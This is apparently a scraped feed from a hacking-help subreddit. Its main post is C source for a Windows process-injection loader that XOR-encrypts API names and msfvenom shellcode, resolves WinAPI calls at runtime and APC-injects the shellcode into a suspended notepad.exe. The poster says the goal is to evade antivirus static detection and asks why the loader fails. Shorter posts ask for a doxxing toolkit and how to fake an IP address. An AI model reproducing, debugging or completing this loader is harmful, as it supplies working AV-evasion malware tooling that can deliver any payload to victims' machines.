r/learnhacking • • 7h ago

CODE ON C-Lang INCLUDED, need help with dynamic api resolution + apc injection

0 Upvotes

Hi everyone,
so firstfully i dont write any malware for selling and other illegal stuff im just interested in LEGAL hacking, all tests are only on my virtual machine

idea: it should create new notepad.exe process and do an APC injection into it and write shellcode there which would start calc.exe but winApi functions are resolved dynamically in runtime so it would survive on the disk and windows defender static analysis wouldnt block it

The problem: Idk why but my code doesnt work, it doesnt write anything in the konsole (i was checking if winApi functions returned error). and it isnt blocked by AV so idk what is the problem

details: key for any encrypted data here is 0x3F if someone wants to check it (but im pretty sure that i encrypted data correctly).I generated shellcode with msfvenom

#include <stdio.h>
#include <windows.h>
BYTE shellcode[] = {
0x59, 0x5C, 0x0B, 0x07, 0x07, 0x0C, 0x5A, 0x0B, 0x59, 0x0F, 0x5A, 0x07, 0x5C, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0B, 0x0E, 0x0A, 0x0E, 0x0B, 0x0E, 0x0A, 0x0F, 0x0A, 0x0D, 0x0A, 0x0E, 0x0A, 0x09, 0x0B, 0x07, 0x0C, 0x0E, 0x5B, 0x0D, 0x09, 0x0A, 0x0B, 0x07, 0x07, 0x5D, 0x0A, 0x0D, 0x09, 0x0F, 0x0B, 0x07, 0x07, 0x5D, 0x0A, 0x0D, 0x0E, 0x07, 0x0B, 0x07, 0x07, 0x5D, 0x0A, 0x0D, 0x0D, 0x0F, 0x0B, 0x07, 0x07, 0x5D, 0x08, 0x0D, 0x0A, 0x0F, 0x0B, 0x07, 0x0F, 0x59, 0x5D, 0x08, 0x0B, 0x5E, 0x0B, 0x5E, 0x0B, 0x5B, 0x0C, 0x0E, 0x5C, 0x06, 0x0B, 0x07, 0x0C, 0x0E, 0x5C, 0x0F, 0x5E, 0x5C, 0x0C, 0x5C, 0x09, 0x0E, 0x08, 0x5C, 0x0F, 0x0D, 0x0D, 0x5C, 0x0D, 0x0F, 0x0B, 0x0E, 0x5C, 0x0E, 0x5C, 0x06, 0x0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0x0A, 0x5D, 0x5B, 0x06, 0x5B, 0x59, 0x59, 0x5B, 0x0A, 0x0B, 0x07, 0x07, 0x0C, 0x5C, 0x0B, 0x0D, 0x07, 0x0C, 0x5C, 0x0F, 0x09, 0x08, 0x5C, 0x0F, 0x5E, 0x07, 0x0F, 0x59, 0x5D, 0x5A, 0x0F, 0x08, 0x0A, 0x0F, 0x0A, 0x5D, 0x5D, 0x0B, 0x08, 0x0E, 0x0C, 0x08, 0x0D, 0x09, 0x59, 0x09, 0x5E, 0x0F, 0x0F, 0x0A, 0x06, 0x0B, 0x0E, 0x07, 0x06, 0x5B, 0x5E, 0x59, 0x59, 0x5B, 0x0A, 0x09, 0x0C, 0x09, 0x0E, 0x09, 0x5C, 0x09, 0x0C, 0x0D, 0x5A, 0x09, 0x0A, 0x08, 0x07, 0x09, 0x0A, 0x0F, 0x0F, 0x3F
};
typedef int (WINAPI *Ptr_CreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef LPVOID (WINAPI *Ptr_VirtualAllocEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef int (WINAPI *Ptr_WriteProcessMemory)(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
typedef DWORD (WINAPI *Ptr_QueueUserAPC)(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
typedef DWORD (WINAPI *Ptr_ResumeThread)(
HANDLE hThread
);

unsigned char Str_CreateProcessA[] = {0x7C, 0x4D, 0x5A, 0x5E, 0x4B, 0x5A, 0x6F, 0x4D, 0x50, 0x5C, 0x5A, 0x4C, 0x4C, 0x7E, 0x3F};
unsigned char Str_VirtualAllocEx[] = {0x69, 0x56, 0x4D, 0x4B, 0x4A, 0x5E, 0x53, 0x7E, 0x53, 0x53, 0x50, 0x5C, 0x7A, 0x47, 0x3F};
unsigned char Str_WriteProcessMemory[] = {0x68, 0x4D, 0x56, 0x4B, 0x5A, 0x6F, 0x4D, 0x50, 0x5C, 0x5A, 0x4C, 0x4C, 0x72, 0x5A, 0x52, 0x50, 0x4D, 0x46, 0x3F};
unsigned char Str_QueueUserAPC[] = {0x6E, 0x4A, 0x5A, 0x4A, 0x5A, 0x6A, 0x4C, 0x5A, 0x4D, 0x7E, 0x6F, 0x7C, 0x3F};
unsigned char Str_ResumeThread[] = {0x6D, 0x5A, 0x4C, 0x4A, 0x52, 0x5A, 0x6B, 0x57, 0x4D, 0x5A, 0x5E, 0x5B, 0x3F};
unsigned char Str_module_kernel32[] = {0x54, 0x5A, 0x4D, 0x51, 0x5A, 0x53, 0x0C, 0x0D, 0x11, 0x5B, 0x53, 0x53, 0x3F};
unsigned char Str_programm_name[] = {0x51, 0x50, 0x4B, 0x5A, 0x4F, 0x5E, 0x5B, 0x11, 0x5A, 0x47, 0x5A, 0x3F};
// ключ 0x3F
int decrypt(){
for(size_t i = 0;i<sizeof(Str_CreateProcessA);i++){
// sizeof возвращает size_t
Str_CreateProcessA[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_VirtualAllocEx);i++){
Str_VirtualAllocEx[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_WriteProcessMemory);i++){
Str_WriteProcessMemory[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_QueueUserAPC);i++){
Str_QueueUserAPC[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_ResumeThread);i++){
Str_ResumeThread[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_module_kernel32);i++){
Str_module_kernel32[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_programm_name);i++){
Str_programm_name[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(shellcode);i++){
shellcode[i] ^= 0x3F;
}
return 0;
}
HMODULE hModule_kernel32 = 0;
Ptr_CreateProcessA ptr_CreateProcessA = 0;
Ptr_VirtualAllocEx ptr_VirtualAllocEx = 0;
Ptr_WriteProcessMemory ptr_WriteProcessMemory = 0;
Ptr_QueueUserAPC ptr_QueueUserAPC = 0;
Ptr_ResumeThread ptr_ResumeThread = 0;
int get_address(){
ptr_CreateProcessA = (Ptr_CreateProcessA)GetProcAddress(hModule_kernel32,Str_CreateProcessA);
ptr_VirtualAllocEx = (Ptr_VirtualAllocEx)GetProcAddress(hModule_kernel32,Str_VirtualAllocEx);
ptr_WriteProcessMemory = (Ptr_WriteProcessMemory)GetProcAddress(hModule_kernel32,Str_WriteProcessMemory);
ptr_QueueUserAPC = (Ptr_QueueUserAPC)GetProcAddress(hModule_kernel32,Str_QueueUserAPC);
ptr_ResumeThread = (Ptr_ResumeThread)GetProcAddress(hModule_kernel32,Str_ResumeThread);
return 0;
}
int main(void){
PROCESS_INFORMATION pi = {0};
STARTUPINFOA si = {0};
si.cb = (sizeof(si));

decrypt();
hModule_kernel32 = GetModuleHandleA(Str_module_kernel32);
get_address();
if(!ptr_CreateProcessA(NULL,Str_programm_name,NULL,NULL,FALSE,CREATE_SUSPENDED | CREATE_NO_WINDOW,NULL,NULL,&si,&pi)){
printf("error1 %d",GetLastError());
return 1;
}
LPVOID ptr_shellcode = ptr_VirtualAllocEx(pi.hProcess,NULL,sizeof(shellcode),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(ptr_shellcode==NULL){
printf("error2 %d",GetLastError());
return 1;
}
if(!ptr_WriteProcessMemory(pi.hProcess,ptr_shellcode,shellcode,sizeof(shellcode),NULL)){
printf("error3 %d",GetLastError());
return 1;
}
if(!ptr_QueueUserAPC((PAPCFUNC)ptr_shellcode,pi.hThread,0)){
printf("error4 %d",GetLastError());
return 1;
}
if(!ptr_ResumeThread(pi.hThread)){
printf("error5 %d",GetLastError());
return 1;
}
return 0;
}


r/learnhacking • • 10h ago

Does anyone have a copy of the Doxxer Toolkit repository by euronymou5?

Post image
0 Upvotes

I was recently looking for the "doxxer Toolkit" repository by euronymou5 to test a VPN against IP loggers, but I’ve realized that his GitHub account doesn’t even appear anymore. If anyone has the repository, it would be a huge help if you could send it to me via DM.


r/learnhacking • • 19h ago

Les gars comment s'apelle le hack avec le canon

Thumbnail reddit.com
0 Upvotes

r/learnhacking • • 11h ago

Fake ip address

0 Upvotes

How do I fake my ip address? Step by step. I’m new to this lol.